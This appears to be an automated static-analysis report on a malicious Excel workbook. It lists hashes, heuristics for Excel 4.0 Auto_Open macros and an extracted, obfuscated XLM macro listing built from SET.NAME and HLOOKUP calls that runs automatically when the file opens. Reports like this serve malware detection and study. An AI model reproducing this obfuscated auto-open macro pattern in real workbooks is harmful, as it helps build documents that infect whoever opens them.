Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 180d4a0fa00fc967…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:25 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 54b43f4bf80e738dd65c0e2effa4928b SHA-1: dfcefe3de8468c50592b3406146e3d44f3f7867c SHA-256: 180d4a0fa00fc9676befd5065bdb7a2f39b9c1629ee832b11640ff7158d480cd
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6567 bytes
SHA-256: 22bcf662e65cf97f5ad1768fbf6a852ed7a263cc2e5a24ecee8c8bd3e4e2a18e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  kLOl
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I180 
' 0018     24 LABEL : Cell Value, String Constant - eLRpnhrpc len=0 
' 0018     27 LABEL : Cell Value, String Constant - gASZQMFQeuKN len=0 
' 0018     21 LABEL : Cell Value, String Constant - GRZDwY len=0 
' 0018     21 LABEL : Cell Value, String Constant - HqIJsp len=0 
' 0018     20 LABEL : Cell Value, String Constant - IPDHI len=0 
' 0018     21 LABEL : Cell Value, String Constant - jCSiTu len=0 
' 0018     26 LABEL : Cell Value, String Constant - KNVjHwKoKJU len=0 
' 0018     20 LABEL : Cell Value, String Constant - KRaLf len=0 
' 0018     22 LABEL : Cell Value, String Constant - LFBUrfW len=0 
' 0018     26 LABEL : Cell Value, String Constant - LpXSeErWgCU len=0 
' 0018     24 LABEL : Cell Value, String Constant - lszWcdJEp len=0 
' 0018     20 LABEL : Cell Value, String Constant - lWQCt len=0 
' 0018     22 LABEL : Cell Value, String Constant - nmZKbkv len=0 
' 0018     26 LABEL : Cell Value, String Constant - nnAgiLmcDeZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - nnSBUSUE len=0 
' 0018     26 LABEL : Cell Value, String Constant - QKXWeVaVNVQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - SCelNvtZQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - TIguOhl len=0 
' 0018     21 LABEL : Cell Value, String Constant - WNtwAf len=0 
' 0018     21 LABEL : Cell Value, String Constant - wZixMz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  kLOl,P81,"",-966.00000000000000000000
'  kLOl,P82,"",106.00000000000000000000
'  kLOl,P83,"",-363.00000000000000000000
'  kLOl,P84,"",526.00000000000000000000
'  kLOl,P85,"",-630.00000000000000000000
'  kLOl,P86,"",-900.00000000000000000000
'  kLOl,I90,"SET.NAME("nnSBUSUE",0+VALUE("0"))",""
'  kLOl,I95,"SET.NAME("LFBUrfW",nnSBUSUE)",""
'  kLOl,I98,"SET.NAME("KNVjHwKoKJU",nnSBUSUE)",""
'  kLOl,I102,"SET.NAME("KRaLf",COUNTA(gASZQMFQeuKN))",""
'  kLOl,I104,"SET.NAME("QKXWeVaVNVQ",COUNTA(lszWcdJEp))",""
'  kLOl,I108,[],""
'  kLOl,I110,"SET.NAME("eLRpnhrpc","")",""
'  kLOl,I113,"LFBUrfW",""
'  kLOl,I118,"SET.NAME("nnAgiLmcDeZ",HLOOKUP("*",gASZQMFQeuKN,LFBUrfW,FALSE))",""
'  kLOl,I120,"GRZDwY",""
'  kLOl,I122,"SET.NAME("IPDHI",nnSBUSUE)",""
'  kLOl,I127,[],""
'  kLOl,I131,"IPDHI",""
'  kLOl,I136,"TIguOhl",""
'  kLOl,I138,"nmZKbkv",""
'  kLOl,I143,"wZixMz",""
'  kLOl,I147,"SET.NAME("LpXSeErWgCU",VALUE(HLOOKUP("*",lszWcdJEp,wZixMz,FALSE)))",""
'  kLOl,I151,"lWQCt",""
'  kLOl,I153,"eLRpnhrpc",""
'  kLOl,I156,"KNVjHwKoKJU",""
'  kLOl,I159,NEXT(),""
'  kLOl,I163,"SCelNvtZQ",""
'  kLOl,I166,[],""
'  kLOl,I171,"WNtwAf",""
'  kLOl,I175,NEXT(),""
'  kLOl,I177,RETURN(),""
'  kLOl,I202,"SET.NAME("HqIJsp",I90)",""
'  kLOl,I205,"gASZQMFQeuKN",""
'  kLOl,I207,"SET.NAME("lszWcdJEp",R55C14)",""
'  kLOl,I210,"SET.NAME("WNtwAf",218)",""
'  kLOl,I214,"SET.NAME("jCSiTu",9)",""
'  kLOl,I217,HqIJsp(),""
'  kLOl,I218,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.